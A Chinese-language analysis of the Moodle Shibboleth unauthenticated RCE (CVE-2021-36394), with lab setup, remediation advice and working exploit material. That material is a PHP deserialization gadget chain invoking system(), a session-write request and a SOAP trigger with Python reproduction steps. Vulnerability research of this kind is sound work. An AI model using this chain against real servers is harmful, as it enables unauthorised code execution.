Moodle 未授权远程代码执行分析(CVE-2021-36394)
字数 957 2025-08-03 16:46:35
Moodle 未授权远程代码执行漏洞分析(CVE-2021-36394)
漏洞概述
CVE-2021-36394 是 Moodle 学习管理系统中的一个高危漏洞,影响 Shibboleth 认证模块,允许攻击者在未授权的情况下实现远程代码执行。该漏洞由三部分组成:session 文件写入、Moodle 反序列化链构造和反序列化执行入口。
影响版本
- Moodle 3.11
- Moodle 3.10 至 3.10.4
- Moodle 3.9 至 3.9.7
- 早期不受支持的版本
前提条件:需要开启 Shibboleth 认证模块(默认不开启)
环境搭建
-
使用 Docker 搭建漏洞环境:
docker-compose up -d -
修改配置文件
/var/www/html/moodle-3.11.0/config.php:$CFG->wwwroot = 'http://your-real-ip-address';
漏洞分析
1. Moodle 反序列化链构造
反序列化链利用多个类的魔术方法和接口实现:
-
入口点:
lib/classes/lock/lock.php中的__destruct方法public function __destruct() { if ($this->is_owned()) { $this->release(); } } -
触发 __toString:通过
core\availability\tree类的__toString方法public function __toString() { $text = ''; foreach ($this->children as $child) { $text .= (string)$child; } return $text; } -
命令执行点:
lib/classes/dml/recordset_walk.php中的current方法public function current() { $record = $this->recordset->current(); return call_user_func($this->callback, $record, $this->callbackextra); }
完整反序列化链构造代码:
<?php
namespace core\lock {
class lock {
public function __construct($class) {
$this->key = $class;
}
}
}
namespace core_availability{
class tree {
public function __construct($class) {
$this->children = $class;
}
}
}
namespace core\dml{
class recordset_walk {
public function __construct($class) {
$this->recordset = $class;
$this->callbackextra = null;
$this->callback = "system";
}
}
}
namespace {
class question_attempt_iterator{
public function __construct($class) {
$this->slots = array("xxx" => "key");
$this->quba = $class;
}
}
class question_usage_by_activity{
public function __construct() {
$this->questionattempts = array("key" => "whoami");
}
}
class core_question_external{}
$add_lib = new core_question_external();
$activity = new question_usage_by_activity();
$iterator = new question_attempt_iterator($activity);
$walk = new core\dml\recordset_walk($iterator);
$tree = new core_availability\tree($walk);
$lock = new core\lock\lock($tree);
$arr = array($add_lib, $lock);
$value = serialize($arr);
echo $value;
}
2. Session 文件写入
漏洞利用点位于 grade/report/grader/index.php:
$graderreportsifirst = optional_param('sifirst', '', PARAM_NOTAGS);
$graderreportsilast = optional_param('silast', '', PARAM_NOTAGS);
if ($graderreportsifirst !== '') {
$SESSION->gradereport['grader']['sifirst'] = $graderreportsifirst;
}
if ($graderreportsilast !== '') {
$SESSION->gradereport['grader']['silast'] = $graderreportsilast;
}
构造恶意请求将反序列化 payload 写入 session 文件:
/grade/report/grader/index.php?id=1&sifirst=aaaaaa|...serialized_payload...|bbbbbb
3. 反序列化执行入口
利用 Shibboleth 认证模块的 auth/shibboleth/logout.php 文件:
$inputstream = file_get_contents('php://input');
if (!empty($inputstream)) {
$server = new SoapServer($wsdlfile, $options);
$server->handle($inputstream);
}
构造 SOAP 请求触发反序列化:
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<LogoutNotification>
<spsessionid>xxxx</spsessionid>
</LogoutNotification>
</soap:Body>
</soap:Envelope>
漏洞复现步骤
-
生成反序列化 payload:
php moodle_unserialize_rce.php -
构造 session 写入请求:
write_url = target + "/grade/report/grader/index.php" data = { 'id': '1', 'sifirst': 'aaaaaa|...serialized_payload...|bbbbbb' } requests.post(write_url, data=data) -
发送 SOAP 请求触发漏洞:
headers = {'Content-Type': 'text/xml'} soap_body = """<?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <LogoutNotification> <spsessionid>xxxx</spsessionid> </LogoutNotification> </soap:Body> </soap:Envelope>""" requests.post(target + "/auth/shibboleth/logout.php", headers=headers, data=soap_body)
修复建议
- 升级到 Moodle 最新版本
- 禁用 Shibboleth 认证模块(如果不需要)
- 实施网络访问控制,限制对 Moodle 管理接口的访问